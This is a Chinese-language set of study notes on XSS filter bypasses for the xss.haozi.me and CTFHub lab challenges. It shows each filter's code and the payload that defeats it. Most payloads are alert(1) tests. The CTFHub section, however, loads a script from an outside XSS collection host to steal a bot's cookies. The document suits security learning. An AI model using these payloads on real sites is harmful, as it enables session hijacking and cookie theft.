Xss绕过

短链接生成

1
2
https://xss.haozi.me/

xss-labs

正则规则

1
2
3
4
.匹配任意单个字符(除换行符)
?前面的出现0or1次(可以不出现)
*前面的出现0or多次(可以不出现)
+匹配前面的1or多次(至少出现一次)

实体编码规则

  • 三种情况:
    • 标签内容:会被当做字符串解析,不会被当作函数
      • <script>alert&#40;1&#41</script>
    • js 代码中出现:也会被当作字符串解析
    • 事件触发器:可以被当作函数执行
      • <img src=1 onerror="alert&#40;1&#41">
      • <input onmouseover="alert&#40;1&#41">
      • ….

js 代码中的情况

1
2
3
4
var jsCode = "alert&#40;1&#41;";
eval(jsCode); // 这将导致JavaScript执行alert(1)
在这个例子中,如果使用eval()函数执行jsCode字符串,那么alert(1)会被执行
但是,直接将jsCode作为字符串输出到页面上,它不会被执行

xss.haoz

参考文档

0x00 普通

简单注入

0x01textarea标签

<textarea>标签为 RCDATA 元素,其中不能再嵌入标签——闭合后再输入即可

0x02input 标签

1:闭合 input 标签

1
"><script>alert(1)</script>111111111

2 闭合 value 的值,然后增加标签中的触发事件

1
2
<input type="name" value="" > 函数如下
<input type="name" value=" " onclick="alert(1) " >

点击文本框就会触发

0x03 括号(img/button)

所有括号替换为空

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

匹配字符

1
2
3
4
5
6
7
8
9
10
方法一:使用反引号代替括号
<script>alert`1`</script>

方法二:使用html实体编码对括号进行编码
<img src=1 onerror="alert&#40;1&#41;">

注:若要使用编码的方法绕过,需要注意html解析规范
例:<script>alert&#40;1&#41;</script>将不会成功
因为<script>标签中解析编码后,不会执行编码后的函数只会将编码后的文本打印出来
所以若要使用编码,通常使用在on事件中的语句进行编码

html实体编码在线网站

1
2
<button onclick="alert&#40;1&#41;">点击触发xss</button>
<img src=1 onerror="alert&#40;1&#41;"> 图片解析错误时,会触发这个告警

0x04 实体编码绕过

上面的 payload 可以直接打

1
2
3
<img src=1 onerror="alert&#40;1&#41;">
<text onclick="alert&#40;1&#41"> 点击一下</text>
<img src=1 onerror="alert(1)">

0x05 注释绕过

1
--!><script>alert(1)</script>

0x06 换行符绕过

  • 匹配了
    • auto
    • onxxxxx=
  • 不区分大小写&全局

正则只会匹配一行的内容:用换行符过滤

1
2
3
4
5
6
7
8
onclick
=alert(1)

onmouseover
=alert(1)

onmouseover
=alert&#40;1&#41

0x07 非闭合标签绕过

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

匹配所有的标签,删除它和它里面的内容

1
2
3
4
/<\/?[^>]+>/gi
<\/? 匹配结束标签or开始标签:?表示0或1次
[^>]+匹配任意除>的字符
>匹配最后一个闭合符

用空元素标签绕过

1
2
3
<img src=1 onerror="alert(1)"
<input onmouseover="alert(1)"
<input onclick='alert(1)'

0x08 换行绕过

过滤了 style 的闭合标签

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

换行绕过

1
2
</style
><img src=1 onerror='alert(1)'

0x09 指定链接过滤

用于指向指定链接:输入的必须是指定元素的子域名https://www.segmentfault.com

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

过滤如下

先输入链接

需要闭合标签,payload 如下

1
2
3
4
5
https://www.segmentfault.com"></script><script>alert(1)//
相当于只屏蔽了非标签的内容

这个也可以
https://www.segmentfault.com"></script><script>alert(1)</script>//

0x0A @重定向绕过

过滤了大多数字符——这些字符会被实体编码,在嵌入后会被解码——但是只会被当作字符串,不会被当作函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

利用重定向来过滤

1
2
3
4
5
在网址中间使用符号@
(例如https://www.google.com@stackoverflow.com)将重定向到
https://stackoverflow.com/网站(@字符后的域URL)。
其中以@分隔的话前面表示的是用户名和密码,后面表示的是登录的网站和端口
也可以以表示重定向到第二个网站。

可以用官方的测试,直接访问官方的 js 文件来弹窗,不需要重定向:payload 如下

1
https://www.segmentfault.com.haozi.me/j.js

在本地建立文件

上传,我这里没有成功,换了火狐也没有成功,不知道为什么

1
https://www.segmentfault.com@127.0.0.1/xss.js

0x0B 转为大写绕过(js编码)

html 不区分大小写,js 区分大小写

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

可以编码绕过,但是只有触发事件的可以执行编码后的函数

1
2
3
<img src=1 onerror='alert(1)'
编码一下
<img src=1 onerror='&#97;&#108;&#101;&#114;&#116;(1)'

因为只有执行的 alert(1)是 js,所以只需要编码它就可以了,当然也可以全部都编码

0x0CC

多过滤了 script 字符

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

0x0D 换行&注释

去掉了< / ‘ “

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

换行且注释掉后面的字符

1
2
3

alert(1)
-->

0x0E 特殊字符ſ

把<a 替换为<_a

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

可以用换行逃逸捕获组,用编码逃逸变大写

1
2
3
<
img src=1 onerror='alert(1)'
编码alert

但是没有通过,这道题的 h1,h2 是在同一行的,不能换行逃逸

特殊字符绕过ſ

1
<svg onload="alert(1)">

在 html 里面ſ 会被替换为 s

1
2
<ſvg/onload="alert`1`">编码alert
<ſvg/onload="&#97;&#108;&#101;&#114;&#116;`1`">

0x0F 事件触发器

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

因为在事件触发器 onerror 中实体编码可以正常被转义为函数,正常绕过即可

1 闭合前面的 console.error

2 js 中写下一条语句,需要换行 or 分号

3 直接 alert,然后注释后面的语句即可

1
');alert(1)//

0x10window.data

0x11 双写转义字符

在每个特殊字符前面:添加了两个转义字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

实际上,一个字符,在进行赋值的时候,会用掉一个转义字符

最开始为 s 的特殊字符前面添加了两个转义字符

1
2
s = escapeJs(s)  s调用函数,添加了两个转义字符,并赋值给自己
但是在赋值给自己的时候,会用掉一次转义字符

相当于:只为 s 添加了一次转义字符

在下面:s 被嵌入赋值给了 url,又会用掉一次转义字符——即 url 最后拿到的 s 是没有转义字符的

1
var url = 'javascript:console.log("${s}")'

可以看到下图,转义字符已经少了一个了,在赋值完成后,又会再少一个

而对于这题的逻辑如下图

如上图可得知,最后的 html 代码就应该是这样的形势

1
2
3
<body>
<a herf="javascript:console.log("输入s")">
<body>

所以直接在如上中:闭合 javascript:console.log(“输入s”)这一段代码即可

可以有两种 payload

1
2
");alert(1)//
");alert("1

0x12

给双引号添加了两个转义字符,s 的赋值后会少一个转义字符

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

即最后的 html

1
<script>console.log("s")</script> 注意s中如果有"会变成/"

考虑 payload

1
2
");alert(1)
html的内容: <script>console.log("\");alert(1)");</script>

但是这里的双引号被转义了,变成了字符,没有闭合的作用了

可以多加一个转义字符,把”多加的一个转义字符转义掉,变为没效果的普通字符,”就可以闭合了

再注释即可

1
2
\");alert(1)//
<script>console.log("\\");alert(1)//");</script>

todolist:

1 复习一边文档 通关文档

2 看视频b站xss视频

Ctf_hub

1 反射型

嵌入可以请求 xss 平台的恶意代码——点提交后——当前页面就嵌入了恶意代码了

下面的 Url 就相当于——传给 bot——让 bot 去访问这个有恶意代码的 url——就可以获取用户的 cookie

2 空格

payload

1
<sCRiPt sRC=//xs.pe/E3Q></sCrIpT>

F12 可以 search 一下看到,空格不见了

注释绕过

1
<sCRiPt/**/sRC=//xs.pe/E3Q> </sCrIpT>

3 过滤关键词

XSS过滤关键词绕过可以使用双写、大小写等方式,例如,点击提交,发现1被弹出,说明存在XSS漏洞

1
<sCRiPt sRC=//xs.pe/E3Q></sCrIpT>

4 存储型

1
<sCRiPt sRC=//xs.pe/E3Q></sCrIpT>

可以看到,请求 url 里面没有了,重新访问,已经嵌入页面代码中,直接访问即可

5DOM 反射

看源码

一个简单的闭合绕过

1
aaaa';</script><script>alert`1`</script>//

向靶场发送

1
aaaa';</script><sCRiPt sRC=//xs.pe/E3Q></sCrIpT>//

6DOM 跳转

查看源码

xss过滤姿势

xss过滤姿势

待更…